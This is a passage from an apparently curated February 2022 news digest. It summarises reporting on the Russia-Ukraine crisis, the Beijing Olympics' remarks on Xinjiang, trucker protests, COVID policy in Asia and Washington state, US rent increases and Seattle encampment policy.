catching the west off guard, could make a difference.</p> <p>“We’re in an information war with the Russians and we have been for some time,” Angela Stent, director of Georgetown University’s center for Eurasian, Russian and east European studies, said. “I think the Russians have been taken by surprise. I think they didn’t realise how much the US and Britain knew about this, but also that they would put it out there publicly. So I think it’s possible that this has had the impact of making Putin maybe rethink some things he might do.”</p> <p>On Wednesday, the US State Department claimed Russia was attempting to create a “pretext” for invading Ukraine with unsupported claims of “genocide” and mass graves in Ukraine’s eastern Donbas region.</p> <p>Russian media published articles and photographs this week of purported secret mass graves in the region and on Tuesday, Putin claimed that Kyiv was committing “genocide” there.</p> <p>State department spokesman Ned Price claimed that Moscow was making the claims as an excuse for invading Ukraine. “There is no basis of truth to any of these allegations,” Price said.</p> <p>Fiona Hill, a former senior director for European and Russian affairs in the national security council, and co-author of a Putin biography, contrasted the current approach to the western response to past Russian operations, such as the attacks in Britain on the defectors Alexander Litvinenko and Sergei Skripal.</p>

“We never really kind of revealed what we knew about what they were up to, and then they were able as a result to take advantage of all the grey zones and the uncertainty and spin their own narratives,” Hill said.

Going public also serves a domestic political purpose, especially for a US administration that has been widely criticised for failing to predict the collapse of the Afghan government and Taliban takeover last year. If there is a Russian attack, no one will be able to say the Biden White House was taken unawares.

The flip side of that is if Putin does not attack, US and British intelligence will be accused of crying wolf and getting it wrong once more, especially as neither has shown evidence for their assertions. The Kremlin is already taunting the western media for reporting US and allied claims of imminent war.

Another downside is that the deliberate alarmism is publicly alienating the government in Kyiv, which argues it is seeding panic among Ukrainian citizens and would-be foreign investors, insurers or trade partners.

“This hysteria is now costing the country two to three billion dollars every month. We can’t borrow in foreign markets because the rates there are crazy. Many exporters refuse,” David Arakhamia, the head of the Ukrainian president’s Servant of the People party, told a local talk show, accusing western media of being more damaging than Russian propagandists.

If Putin’s aim was not to carry out an invasion, with all the costs that would inflict on Russia, but to create an air of long-term crisis, then US and British amplification of the threat risks serving his purpose, argued Oksana Antonenko, a director of the global political risk team at the UK-based Control Risks consultancy.

“The tactic only works if it’s a short term crisis,” Antonenko said. “But if we assume that what we’re facing at the moment is Putin’s long term strategy of applying pressure on Ukraine and managing confrontation with the west, then it is something which has a very high cost.”

[Return to Top](#)

HEADLINE	02/17 Beijing 2022: human rights abuses ‘lies’
SOURCE	https://www.theguardian.com/sport/2022/feb/17/beijing-2022-organisers-claim-stories-of-xinjiang-human-rights-abuses-are-lies
GIST	<p>The Winter Olympics have been plunged into further controversy after Beijing 2022 spokesperson Yan Jiarong dismissed human rights violations among the Uyghur Muslim population as “lies” and insisted Taiwan was part of China.</p> <p>Yan, a former member of the Chinese delegation to the UN general assembly, referred to “so-called forced labour” in Xinjiang in response to one question, before saying China was against the “politicising of sports”.</p> <p>She again intervened when a question was raised regarding the IOC’s position on reports of concentration camps and forced labour in Xinjiang. “I think these questions are based on lies,” Yan said. “Some authorities have already disputed such false information with a lot of solid evidence. You are very welcome to refer to all that evidence and facts.”</p> <p>Internment camps in Xinjiang was a major issue before the Games, with the US warning of a genocide in the region before leading a diplomatic boycott by several countries, including Britain and Canada. Those countries, and human rights groups, say that more than one million Uyghurs are subjected to forced labour and reeducation, and in some cases even sterilisation.</p> <p>The subject has largely taken a backseat in the past fortnight, as athletes’ concerns about Covid isolation camps and then the failed drugs of 15-year-old Russian skater Kamila Valieva have captured more of the public’s attention. But it was reignited in a remarkable final joint press conference held by the</p>

International Olympic Committee and the Beijing organisers, during which Yan dismissed questions about the issues in Xinjiang.

Asked after the conference whether she had meant her lies comment, she said: ““Yes, yes. But this is not the relevant department. The foreign ministry and other ministries have released lots and lots of facts and data to refute these kind of allegations.”

Meanwhile, the IOC presidential spokesperson Mark Adams said none of its uniforms were made by workers or from raw materials from the region. He added that Yan’s view was “not particularly relevant to the press conference or the IOC”, saying the organisation was “very concerned about protecting human rights within our sphere of the Olympic Games”.

“We leave it to other organisations, the United Nations, other organisations, to look at other aspects outside of what is happening here,” he said. “The Games themselves bring a great deal of benefit to the world in terms of showing how people can work together and bring a shared feeling about what the world could be like.

“Even administrations around the world who have boycotted these Games politically understand the importance of having ways of reaching out, talking and having areas of cooperation.

“Bringing the world together is even more important at a time like this when there is such dispute and there can be areas of discussion and debate.”

The IOC has repeatedly said the Games should be free from politics, but when asked about Taiwan, Yan again stressed the Chinese government’s position, saying: “There is only one [China](#) in the world.” That is not a view shared by most of the rest of the world, which considers Taiwan a separate and independent country.

Yan said: “Taiwan is an indivisible part of China. This is a well-recognised international principle and well recognised in the international community. We are always against the idea of politicising the Olympic Games. IOC has 206 members including People’s Republic China National Olympic Committee, including Chinese Taipei, the original Olympic Committee.”

[Return to Top](#)

HEADLINE	02/16 Plan: ‘People’s convoy’ of truckers to DC
SOURCE	https://www.newsweek.com/peoples-convoy-truckers-reportedly-heading-dc-mandate-protest-1679678
GIST	<p>While truck drivers protest COVID-19 restrictions in Canada, American truckers are following suit with their own cross-country convoy heading to Washington, D.C., with a message: "Government has forgotten its place."</p> <p>The American truckers' protest dubbed the "People's Convoy" is set to depart in late February heading toward the nation's Capitol to protest government COVID-19 mandates they believe are unconstitutional. The convoy is set to have an estimated 1,000 U.S. truck drivers participate.</p> <p>"This is about our rights, as well as the freedom of future generations," organizers of the convoy wrote on Facebook. "It's not about political parties, but more so about a government that has forgotten its place and has no regard for our founding fathers' instructions."</p> <p>On Newsmax TV's <i>The Balance</i>, Eric Bolling was joined by organizers of the convoy, Brian Brase and Maureen Steele, to kickstart the message.</p> <p>Organizers are working to ensure that donations for the convoy are secured, unlike that of Canada's. Crowdfunding website GoFundMe blocked donations to the Canadian truckers' "Freedom Convoy" campaign. Another website for the Canada campaign, GiveSendGo, was hacked, leading to donors' names becoming public. Steele said they're working to ensure that doesn't happen.</p>

"We have been able to really garner some of the best and brightest on our team to make sure that this convoy goes off without a hitch," Steele said. "We have a logistics specialist, tacticians, we're ensuring we have fuel. We've brought on Exemplar Financial, which has seven offices throughout the country with lawyers and accountants that are overseeing our fundraising to make sure that's buttoned up."

Brase has been adamant that their protest isn't a far-right or far-left issue; he says it's an American issue everyone should be fighting against. The group is siding with Canadian truckers protesting the government's authority to issue mandates.

"Canada needs our help and we're standing with Canada," Brase said in a video on Facebook Tuesday. "Don't forget that in the United States we're standing up to end the Emergency Powers Act, which ultimately would end the mandates."

The group is calling on lawmakers to lift the declaration of a national emergency concerning the coronavirus pandemic. They believe elected officials should not deprive people of "fundamental rights" such as enforcing mask and vaccine mandates.

Although the group hasn't made a final map of the convoy, Brase says updates will be coming out on their Facebook page in the coming days.

"Our brothers and sisters of the highway succeeded in opening Canadians' eyes about the unconstitutional mandates and hardships forced onto their people," the organizers of the event said on [their Facebook page](#), which has more than 90,000 followers. "Now it's time for the citizens of the United States of America to unite and demand restoration of our constitutional rights."

[Return to Top](#)

HEADLINE	02/17 Japan eases Covid border controls
SOURCE	https://www.theguardian.com/world/2022/feb/17/japan-to-ease-covid-border-controls-after-two-years
GIST	<p>Japan is to ease its strict border controls from next month, media reports said on Thursday, after criticism from students, workers and family members who have been in effect “locked out” of the country for up to two years.</p> <p>The restrictions, which limit arrivals to Japanese citizens and returning foreign residents, have affected 150,000 students, triggering accusations from politicians and business leaders that the ban is damaging the country’s economy and international image.</p> <p>Japan briefly relaxed the rules last year but tightened them again in November in an attempt to prevent the spread of the highly contagious Omicron variant of the coronavirus.</p> <p>The opening up will be incremental, however, and will not apply to tourists. The prime minister, Fumio Kishida, is expected to announce later on Thursday an increase in daily arrivals from 3,500 to 5,000, as well as a reduction in quarantine from a week to three days for people with a negative test result and proof they have had a booster shot.</p> <p>“We are considering how to ease the border control measures by taking into account scientific evidence that has become available regarding the Omicron strain and the changing infection situations at home and abroad,” the chief cabinet secretary, Hirokazu Matsuno, said, according to the Kyodo news agency.</p> <p>Kishida had appeared reluctant to relax the measures, which are popular with the public, ahead of upper house elections in July.</p> <p>But he has come under pressure from business leaders who said the restrictions amounted to a “seclusion policy” that would worsen Japan’s chronic labour shortage. Member of Kishida’s own party said the ban was pointless given that Omicron had become the dominant strain in Japan.</p>

“If you look at the overall situation now, they’re meaningless; you can get the virus anywhere. But as a result of having [the restrictions], [Kishida] got a lot of public support,” said political analyst Atsuo Ito.

Failure to lift at least some restrictions would risk seeing Japan being “left behind by the rest of the world”, he added.

Government health experts said a sixth wave of the virus fuelled by Omicron had peaked earlier this month after data showed week-on-week falls in new infections in most age groups.

While new cases are trending down, Japan’s most recent wave of infections has taken a toll on more vulnerable people, with a record 236 deaths reported on Tuesday.

Only about 10% of the population has received a booster jab, compared with more than 50% in South Korea and Singapore, prompting Kishida to announce a daily target of 1m third shots a day.

[Return to Top](#)

HEADLINE	02/16 Renters face sharp increases; up to 40%
SOURCE	https://www.theguardian.com/us-news/2022/feb/16/renters-rent-increases-us-lease
GIST	<p>Rental prices across America have soared over the past year, with some cities experiencing average price hikes of up to 40%, leaving many renters stunned and grappling with either having to move to be able to afford rent or pay significantly more of their income to remain in their homes.</p> <p>Joshua Beadle of Sarasota, Florida, lived in a 950 sq ft loft apartment for four years for about \$900 a month until about one year ago when the owner sold the building and he was forced to move.</p> <p>He found a smaller, more expensive 700 sq ft apartment for \$1,500 a month. After living there for one year, he recently received a lease renewal letter stating his monthly rent would be increased to \$1,947.</p> <p>“Over the course of one year my rent has increased 116%. How does someone who works gigs and is making the same amount of money afford a price increase of \$1,050 a month?” said Beadle. “Every month that I pay my rent I breathe a sigh of relief knowing I can live one more month, but I know that I am one emergency away from not being able to afford living expenses.”</p> <p>According to an analysis conducted by RedFin, rents in the US jumped 14% in December 2021 to \$1,877 a month, the largest rise in more than two years.</p> <p>Some of the most affected cities included Austin, Texas, with a 40% increase in rental prices compared with a year previous, New York City at a 35% increase, and several metro areas in Florida exceeding over 30% increases in rental prices.</p> <p>There is less housing available for rent or sale now than anytime in the past 30 years, with supply shortages worsening, contributing to rising rental costs, inflation, and making home ownership more unattainable.</p> <p>For Beadle, his situation is now untenable.</p> <p>His \$1,500-a-month rent was already a struggle for him to pay, and if late on rent payments he incurs a \$100 fee. With the latest rental increase of nearly \$450, he worries about his future in Sarasota, a community he’s lived in and helped build as a promoter and organizer for LGBTQ events over the years.</p> <p>“Now, I can’t even afford to live in the community that I helped to create,” added Beadle. “This is not OK, There needs to be an answer for the young, single people who are trying to survive and thrive. We can’t just be happy with being able to pay rent one more month not knowing if we will have a place to live next month.”</p>

Though rental prices in the US initially dropped due to the Covid-19 pandemic, prices [rebounded](#) in 2021 and increases quickly began to outpace pre-pandemic growth trends. These soaring costs – coupled with a broader surge in inflation – have wiped out any wage gains experienced by low-income Americans, as rental prices were already far outpacing wage increases in the US.

Between 2001 to 2018, renter incomes grew by [0.5%](#) while rental prices increased by 13%, leaving 20.4 million households, nearly half of all renters in the US, burdened by the cost of rent with more than one-third of their income going toward rent and utility bills.

A [report](#) published by the Roosevelt Institute in November 2021 emphasized solutions for these soaring rent prices, including increasing the supply of affordable housing and expanding rights for tenants who are currently at the mercy of landlords and real estate developers without rent control and rent stabilization policies in place.

“If we think that rent is a really core part of our inflation problem right now, which it is, then we really do need a more comprehensive approach,” said Dr Lindsay Owens, co-author of the report and a fellow at the Roosevelt Institute.

Owens argued against solutions put forth by some economists seeking to [rely on](#) contractionary monetary policies such as raising interest rates through the Federal Reserve.

“We advocate for an aggressive increase in supply and for the federal funding required to get that done,” said Owens. “But because we’re not going to see that happen quickly, and because when you have a supply shortage, landowners and landlords really have quite a bit of power because you don’t have a lot of options, we think rent control should be on the table to really take the edge off of those annual increases.”

Without these comprehensive actions, the [report](#) notes, landlords, especially in markets where affordable housing supply shortages yield them significant power, will continue to hike rental prices, further burdening the incomes of renters and expanding their profits without any capital improvements to housing. One week before his wedding in January 2022, Joey Texeira and his partner received a lease renewal from their landlord in New York City, with a 30% increase to rent of \$750 a month for a one-year lease renewal or a 41% rent increase of \$1,050 a month for a two-year lease renewal for an apartment they have lived in since December 2020. The lease renewal would start on 1 May.

“We’re very stressed and don’t know exactly what we plan to do yet,” said Texeira.

His husband was also unexpectedly laid off recently and their neighbors downstairs were recently priced out of the apartment building with a rental increase of \$250 to \$500 added to their monthly rent.

“It’s criminal,” said Texeira. “Renters are completely unprotected. The only thing a landlord has to do is give proper notice in proportion to the percentage increase. Technically my landlord could have increased my rent 100% and there would have been nothing I could do. Renters need help and better protections.”

Sabrina Marie DeAngelis, a tutor in Austin, Texas, recently experienced her rent increase from \$920 to \$1,440 a month for an apartment she has been living in since 2014, which she first rented for \$675 a month.

She was forced to accept the renewal with a monthly rental increase of \$520, as she suffers from a disability that makes moving difficult and doesn’t have any family living nearby to help. DeAngelis tried applying for rental assistance benefits, but she didn’t qualify for assistance and Covid-19 rental relief funds in her area were already depleted by the time she applied.

During the pandemic, DeAngelis decided to return to school to complete her master’s degree in hopes of increasing her income in the long term, taking a short-term cut in her income to attend school.

	“Now I’m forced to increase my work hours while going to school,” said DeAngelis. “My productivity at work and school has been terrible because I’m stretched thin on time. On top of that, almost all my income is going toward rent and bills.”
Return to Top	

HEADLINE	02/16 Ukraine marks ‘National Unity Day’
SOURCE	https://www.theguardian.com/world/2022/feb/16/ukrainians-mark-day-of-unity-against-fears-of-a-russian-invasion
GIST	<p>Ukraine’s president, Volodymyr Zelenskiy, toured the country to mark a newly declared “National Unity Day”, as cyber-attacks on the Ukrainian defence ministry stretched into a second day.</p> <p>A key Zelenskiy ally also attacked western media for their coverage of the threat of a Russian invasion, saying fear-mongering reporting was as bad as Russian propaganda and was causing damage to the Ukrainian economy.</p> <p>Ukrainians were asked to fly the national flag and sing the national anthem on Wednesday, to bolster spirits on the day US government briefings had warned a Russian invasion might start.</p> <p>After the early hours of the morning passed without any military action, there was a lacklustre response in the capital to the National Unity Day call-up, with journalists almost outnumbering the sparse crowd gathered on Maidan, the central Kyiv square, to sing.</p> <p>Other events included unfurling a 200 metre-long national flag at the sports stadium, and flashmobs in some cities, but none drew more than a few hundred people. TV stations launched a marathon of ‘patriotic’ programming.</p> <p>US president, Joe Biden, says up to 150,000 Russian troops, well over half its ground forces, are gathered along Ukraine’s borders, and could move into the country now with little notice. The head of Nato warned on Wednesday that he had seen no evidence to support Russian claims it had pulled back troops from the border.</p> <p>Moscow says the troops assembled for routine training missions, and has dismissed claims that it is planning an invasion, though it has promised it could “counterattack” if provoked.</p> <p>On Wednesday, Zelenskiy observed military exercises in the western Rivne Oblast region, and was also due to visit frontlines in the east of the country, where Russia has armed and funded an insurgency since 2014.</p> <p>In Rivne he also warned there was no evidence Russia had started drawing down troops along Ukraine’s borders, despite Moscow’s claim of redeployment.</p> <p>“Honestly, we are reacting to the reality we have, and so far we do not see any withdrawal of troops. We only heard about it. So far, these are just statements,” he said.</p> <p>The Ukrainian leader has regularly called for calm in the face of increasingly frantic western intelligence briefings about the risk of imminent military confrontation. But his latest comments were a reminder of the delicate balance he is trying to strike.</p> <p>He is a relative political novice, who must stave off complacency, avoid looking weak and vulnerable, keep the economy running at a time of terrifying uncertainty, while also ensure his government doesn’t make any missteps that could give Moscow a pretext for intervention.</p> <p>Cyber-attacks on the defence ministry and leading banks, which began on Tuesday, also continued on Wednesday. Moscow denied any role.</p>

	<p>The already fragile Ukrainian economy has been badly knocked by the crisis, with embassies and many foreign citizens leaving Kyiv, and the government forced to make emergency insurance arrangements to keep international flights landing.</p> <p>David Arakhamia, head of Zelenskiy's Servant of the People party, claimed western media outlets were doing more damage to Ukraine than Russian state propagandists.</p> <p>"Blatant fakes on CNN, Bloomberg, Wall Street Journal ... We need to investigate this, because these are elements of a hybrid war," he said, estimating that "hysteria" about a possible war is now costing the country \$2bn to \$3bn a month.</p>
	Return to Top

HEADLINE	02/17 Ukraine, separatists: ceasefire violations
SOURCE	https://www.wsj.com/articles/ukraine-pro-russia-separatists-trade-allegations-of-cease-fire-violations-11645091832?mod=hp_lead_pos1
GIST	<p>Pro-Russian separatists and Ukrainian authorities on Thursday traded allegations of cease-fire violations along the tense front line separating the two sides, as Western officials said Moscow continued to mass troops along the border of its smaller neighbor.</p> <p>Representatives of two breakaway Russian-backed and Russian-armed statelets in Ukraine's eastern Donbas region, known as the Luhansk People's Republic and the Donetsk People's Republic, said Ukraine's armed forces had launched grenades and mortars into their territory.</p> <p>Ukraine's military said Russian-controlled forces had violated the cease-fire at eight places in the 24 hours up to 7 a.m. local time with mortars, antitank grenades and small arms. Later Thursday, Ukrainian state media said a projectile hit a kindergarten building.</p> <p>Such exchanges have occurred regularly in the years since the conflict in Donbas began in 2014, despite a cease-fire agreed to a year later, and have occasionally erupted into wider-scale fighting. But they carry a heightened risk now amid the wider standoff between Russia and the West over Ukraine.</p> <p>Russia has deployed 130,000 heavily armed troops, effectively surrounding Ukraine on three sides, something Western officials have warned could be a prelude to an outright invasion. And officials in Kyiv and the West have warned Moscow could use fighting around the separatist areas as pretext to move into eastern Ukraine.</p> <p>Ukrainian President Volodymyr Zelensky visited the Ukrainian-held part of the Donetsk region Wednesday night, meeting with military and security personnel. Ukraine has raised the alert status of its armed forces and said it has distributed more ammunition to troops on the front lines.</p> <p>"We are not afraid of any warnings, we are not afraid of any enemies, we are not afraid of any dates," Mr. Zelensky said in the city of Mariupol, according to a transcript posted by his office. "We will defend ourselves on Feb. 16, on Feb. 17, in March and in April, in September and in December. The war has lasted eight years, and we have become eight times stronger in that time."</p> <p>The Kremlin has denied that it plans to attack Ukraine and in recent days Moscow has said it is drawing down some troops and released footage of tanks and armored personnel carriers departing areas such as Crimea. But Western officials have said Russia is continuing its military buildup.</p> <p>On Thursday morning, a projectile fired by pro-Russian forces hit a kindergarten in Stanytsia Luhanska, Ukraine's state news agency Ukrinform reported. Footage showed a gaping hole in a brick wall and debris in a room decorated with a painting of an elephant and a parrot, with several soccer balls on the floor.</p> <p>Stanytsia Luhanska, which sits just across a bridge from the city of Luhansk, the capital of one of the two Russia-controlled statelets, is where the only crossing point operates daily between the Russian-occupied</p>

	<p>territories and the rest of Ukraine. Some 3,000 people use the crossing daily, to visit their relatives in government-controlled areas or to receive Ukrainian pensions and medical services unavailable in the Russian-held regions, such as Pfizer-BioNTech Covid-19 vaccines.</p> <p>On Tuesday, Russian legislators voted to send a resolution to President Vladimir Putin urging him to formally recognize Donetsk and Luhansk as independent states.</p> <p>At a press conference on Tuesday, Mr. Putin said he believed the vote reflected the fact that members of parliament had taken into account public opinion, adding that “it’s obvious in this context that the overwhelming majority of people in our country feel sympathy for people in Donbas, support them and hope that the situation would improve dramatically.”</p>
	Return to Top

HEADLINE	02/17 Asia-Pacific region faces omicron surge
SOURCE	https://www.washingtonpost.com/world/2022/02/17/malaysia-korea-covid-cases-omicron/
GIST	<p>As coronavirus cases and restrictions fall in the United States and Europe, parts of Asia and the Pacific are in the thick of a surge driven by the omicron variant, with Malaysia and South Korea reporting new daily records Thursday.</p> <p>Malaysia logged 27,831 new cases on Thursday, the country’s highest tally of the pandemic, according to the World Health Organization. South Korea reported 93,135 new infections on the same day, also its daily record. Indonesia and New Zealand marked new daily records Wednesday, while Vietnam, Singapore, Japan and Thailand all remain in the grasp of omicron with high case counts.</p> <p>Hong Kong reported 4,000 new infections on Wednesday, a figure that is expected to double later this week. The city had never logged more than 200 new daily cases before 2022. For the first time, its hospitals are being overwhelmed.</p> <p>The region’s troubles come amid warnings by WHO officials Wednesday that the pandemic is far from over, and that governments must maintain preventive restrictions, despite the temptations to ease them.</p> <p>Mike Ryan, the WHO’s emergencies chief, urged people to get vaccinated and to keep up preventive measures such as masking, isolating or quarantining, while speaking at a live-streamed event on Wednesday. “This idea that we’re just going to abandon everything, I think is a very premature concept in many countries right now,” he said.</p> <p>Deaths, which typically go up days after a surge in new infections, are starting to climb in some countries. Japan reported 945 new covid-19 deaths on the week beginning Feb. 7, WHO tallies show, an 80 percent increase from the prior week. Singapore saw fatalities rise at a similar pace in the same period, with 25 deaths.</p> <p>The region is undergoing what Western countries such as the United States, Canada and several in Europe experienced weeks ago. And as Western officials roll back preventive restrictions such as masking and social distancing, their Asian counterparts have been reluctant to do so, despite growing social pressure to ease them.</p> <p>In South Korea, small-store owners held demonstrations in the capital of Seoul this week. Some shaved their heads while shouting out anti-government slogans, in protest of a government-mandated 9 p.m. curfew for public venues such as bars, restaurants and cafes.</p> <p>The business owners packaged the hair in a box that was sent to the presidential Blue House to express their disapproval of the left-leaning administration’s pandemic policies, local media reported.</p> <p>New Zealand, which reported a record 1,203 single-day infections on Wednesday, according to WHO figures, has also had hundreds of protesters mass in its capital, Wellington.</p>

	<p>The demonstrators, who appear to have been inspired by the self-styled “Freedom Convoy” protests in Canada, have blocked roads around the Parliament building. Authorities have failed to disperse the protesters, who demand the easing of pandemic restrictions. Last weekend, officials turned on songs such as “Baby Shark” and “Let It Go” in a bid to persuade them to go home.</p> <p>New Zealand, though, will be easing some of its border controls, with plans to gradually lift all of its travel restrictions by October.</p>
Return to Top	

HEADLINE	02/16 DOH: 1,410,499 cases, 11,522 deaths
SOURCE	https://www.thenewstribune.com/news/coronavirus/article258459908.html
GIST	<p>The Washington state Department of Health reported 3,897 new COVID-19 cases Wednesday.</p> <p>The state reported 2,629 new cases on Tuesday.</p> <p>As of Wednesday, the state’s preliminary death tally was 11,522. That number is up by 149 since Monday.</p> <p>The confirmed death tally as of Jan. 30 was 11,106. The statewide case total from the illness caused by the coronavirus stood at 1,410,499 cases on Wednesday.</p>
Return to Top	

HEADLINE	02/16 King Co. ends vaccine check policy 1 March
SOURCE	https://www.seattletimes.com/seattle-news/king-county-will-end-covid-vaccine-requirements-at-restaurants-bars-gyms/
GIST	<p>Restaurants, bars, theaters and gyms in King County will no longer be required to check the vaccination status of their patrons beginning March 1, officials announced Wednesday, as the county begins to unwind pandemic policies that have been in place for months.</p> <p>From March 1, businesses will be free to impose their own vaccination requirements if they choose, but the countywide requirement will disappear. Since last fall, indoor eateries and cultural and recreational spaces have been required to verify their customers’ vaccination status or a negative coronavirus test as a condition for entry.</p> <p>The policy has also applied to outdoor events with more than 500 people, like concerts and sporting events.</p> <p>“Our public health experts believe that now is the appropriate time to lift vaccine verification, based on high rates of vaccine coverage and the decrease in new cases and hospitalizations across the county,” King County Executive Dow Constantine said Wednesday. “We are moving in the right direction, and can continue taking additional steps toward recovery.”</p> <p>Masks are still required statewide in all indoor public places, regardless of vaccination status.</p> <p>Washington Gov. Jay Inslee said he expects to announce this week when the statewide mask mandate for schools and businesses will end. Inslee has a news conference scheduled for Thursday.</p> <p>The vaccine-check policy was originally slated to be reevaluated by March 16 — six months after it was announced — but is being scrapped a couple of weeks ahead of schedule.</p> <p>Constantine and Seattle Mayor Bruce Harrell also announced that they will begin gradually calling back to the office the thousands of county and city employees who have been working remotely for nearly two years. King County has an estimated 7,000 employees who have been working remotely, and Seattle has about 5,000.</p>

The county's, and much of the nation's, coronavirus transmission rates have fallen sharply in the last few weeks, as December's omicron variant-fueled surge has receded.

In King County, average daily cases have fallen by more than 82% since peaking in early January, according to county data. Hospitalizations have fallen by more than 62%.

Among businesses — where hosts, bouncers, ticket checkers and ushers have been taking at least cursory glances at the vaccine cards, apps and phones of thousands of patrons, day in and day out — reaction was mixed.

Rich Fox, an operating owner at Weimann Maclise, said his seven bars and restaurants in King County, including Rhein Haus on Capitol Hill, will likely stop checking customers' vaccination status at the door come March.

But no final decision will be made until he huddles with his general managers and chefs to see if there are any objections or safety concerns, Fox said.

"My initial thought is because of the high vaccination rate in King County and because we have available outdoor seating and because our restaurants are large, we are not feeling like we have to police this anymore," Fox said.

Josh Henderson, the owner of two Burbs Burgers branches in Seattle, has been one of the city's most outspoken critics of the vaccination mandate.

"This is long overdue," Henderson said of the announcement. "This was ridiculous from the start to check vaccination cards. We will gladly not check vax cards, just as before. We welcome everyone."

Constantine said the county supports businesses who will continue to do vaccine checks.

"A business has a right to require that people coming in are vaccinated just as they have a right to require that they wear shoes and a shirt, and folks are not within their rights to try to intimidate that business," he said.

"We announced the vaccination-verification policy in anticipation of a fall and winter surge in cases," said Dr. Jeff Duchin, health officer for Public Health – Seattle & King County. "The intent was to reduce COVID-19 transmission in high-risk indoor settings and thereby reduce the burden on our hospitals, while providing time for more people to get fully vaccinated."

A little over a month ago, hospitals across the state had more than 800 workers isolating and quarantining and unable to work, according to the Washington State Hospital Association. As of early last week, [that number had dropped to about 100](#).

Still, COVID rates remain at or above the levels they were at when the vaccine-verification policy was announced at the peak of the delta variant wave in September.

The difference, Duchin said, is in the direction the numbers are headed.

"Things are improving," he said. "At the time we were very concerned that things were on the uptick and worsening."

Duchin said that since the [vaccine verification policy was announced](#), more than 250,000 King County residents have gotten vaccinated. More than 87% of King County residents 12 and older are fully vaccinated, according to the county, and more than 95% in that age group have had at least one shot. More than 79% of county residents who are eligible are fully vaccinated.

And, Duchin said, the omicron surge, which led to the highest known infection levels of the pandemic, has likely boosted some level of community immunity, at least for the short term.

And while officials characterized the policy change as good news, they sought to convey the nuance of an ongoing pandemic and a virus that has upended expectations before.

Duchin urged continued COVID precautions, including high-quality masks, improvements in indoor air ventilation and filtration and limits on time spent in crowded indoor spaces. He urged vaccinations, including booster shots for people who haven't had one. Vaccinations are free and health insurance is not required.

[King County data](#) shows that since the omicron surge began, residents who are unvaccinated are 27 times more likely to be hospitalized with COVID, and 34 times more likely to die from it than those who are fully vaccinated and boosted.

[Return to Top](#)

HEADLINE	02/16 Eastern school districts seek end mask rule
SOURCE	https://www.seattletimes.com/education-lab/nearly-50-wa-superintendents-call-on-state-to-lift-mask-mandate-for-schools/
GIST	<p>Nearly 50 superintendents from Eastern Washington school districts signed a letter Tuesday calling on state leaders to lift the mask mandate for schools — although some districts are getting rid of the requirement anyway.</p> <p>In southeast Washington, all Richland School District schools and facilities closed Wednesday after board members voted 3-2 on Tuesday to make face coverings optional. The board reconvened Wednesday to “plan a path forward,” according to the district.</p> <p>Up north, the Kettle Falls School District voted to drop the mask mandate this week, prompting the state Office of Superintendent of Public Instruction to issue a notice to the district to comply or risk losing state funding, according to The Spokesman-Review.</p> <p>Flouting of the state’s mask rule for schools comes as other states have relaxed mask mandates in school settings and as Gov. Jay Inslee is considering a timeline for scaling back statewide indoor mask orders.</p> <p>Tuesday’s letter — addressed to Inslee, state Superintendent Chris Reykdal and state Health Secretary Dr. Umair A. Shah — also requests that contact tracing responsibilities be moved away from local districts to the state Department of Health.</p> <p>Citing declining case counts and hospitalizations and feedback from districts, Reykdal last week requested the statewide mask mandate for students in schools be rescinded to allow local health officials to make that decision instead.</p> <p>OSPI spokesperson Katy Payne said Wednesday that the superintendent is not calling for an immediate end to the requirement. He is expecting Inslee, set to give a news conference Thursday, to announce a date for when the statewide mandate will lift.</p> <p>“While it’s still in place, all school districts will be required to continue following current law and ensuring all students, staff and visitors are masked while indoors,” she said.</p> <p>Reykdal filed an emergency rule in August that gives school districts failing to comply with the state’s COVID-19 health mandates two chances to come into compliance before they risk losing state funding. The Kettle Falls School District has until March 2 to comply before a second notice will be issued, according to The Spokesman-Review.</p>

	<p>The superintendents who have signed on to Tuesday’s letter, including Kettle Falls’ superintendent, Michael Olsen, say there is an “urgent need” to address students’ social and emotional well-being, as well as staff fatigue in implementing “burdensome protocols.” Families, the letter states, have “grown increasingly weary and vocally critical of them.”</p> <p>“As other states are now lifting many pandemic restrictions, the pressure has built that we do the same,” the letter says.</p> <p>Last week, Reykdal said he still recommends schools continue on-site rapid testing and quarantining those who test positive for the coronavirus. He noted that health officials could still require a temporary return to masks if a new variant surfaces or if COVID-19 cases rise.</p> <p>“My expectations are that the local health jurisdictions can do this. They’ve always had the legal authority — I don’t expect this to be a school board decision,” he said.</p> <p>Communities across Washington have been split on the school mask mandate since it was enacted in 2020. Fights and protests have broken out at some school board meetings. Students in the Seattle area are currently protesting for stronger health and safety protocols.</p> <p>In King County, pandemic policies that have been in place for months are beginning to unwind. King County Executive Dow Constantine on Wednesday announced that restaurants, bars, theaters and gyms in the county will no longer be required to check patrons’ vaccination status beginning March 1.</p>
Return to Top	

HEADLINE	02/16 Seattle encampment sweeps return?
SOURCE	https://www.seattletimes.com/seattle-news/homeless/under-a-new-mayor-will-seattles-homelessness-policy-go-back-to-encampment-sweeps/
GIST	<p>Right before Mayor Bruce Harrell took office last month, city employees cleared some of the largest encampments Seattle has seen in years, managing to get hundreds of homeless people into shelter, Harrell pointed out in his first State of the City address Tuesday.</p> <p>“However, no one who looks around our city today would say our work is anywhere near complete,” Harrell said. “We can help people living unsheltered and we can restore parks and make sidewalks accessible for all.”</p> <p>A month into his term, Harrell and his administration have largely returned to a status quo set before the COVID-19 pandemic by previous mayors — but they’re hoping that with more shelter, housing and communication, their efforts will be more successful.</p> <p>As Seattle’s annual homelessness counts have risen — reaching third-highest in the nation — the city’s last several mayors have struggled with how to handle encampments.</p> <p>While a University of Oxford researcher recently found that bigger encampments in Seattle didn’t correlate with a rise in crime, business leaders tend to associate them with street disorder. Commuters and wheelchair users often complain when tents block sidewalks. Even homeless people often say the bigger a camp grows, the less safe it can feel.</p> <p>But mayors’ efforts to clear encampments have almost never been successful long-term: Campers usually return in a few years or even months, or move into new neighborhoods, and the people who go from encampments to shelter often end up back on the street rather than in housing.</p> <p>Harrell ran last year on a platform that called for action on encampments: The city would open thousands of units of shelter and housing, but also keep parks and sidewalks clear.</p>

But he wasn't particularly specific on whether he would force encampments out of public spaces without offers of shelter, or without much notice, as past mayors have.

Harrell opened the year with a flurry of small camp clearings in January. But he's held off on a big one in Woodland Park while outreach workers try to get people into shelter and housing there.

His deputy mayor in charge of homelessness, Tiffany Washington, characterized the approach on Monday as continuing a status quo from last year, but with more resources and more transparency with the public.

"We are not changing any policies," said Washington, who has worked in the last three mayoral administrations. "There's no lightbulb we're turning on, other than the fact that, because of where we are in this pandemic cycle and because of the fact that things are going to be better — knock on wood — we can return to the business of keeping the right-of-ways clear."

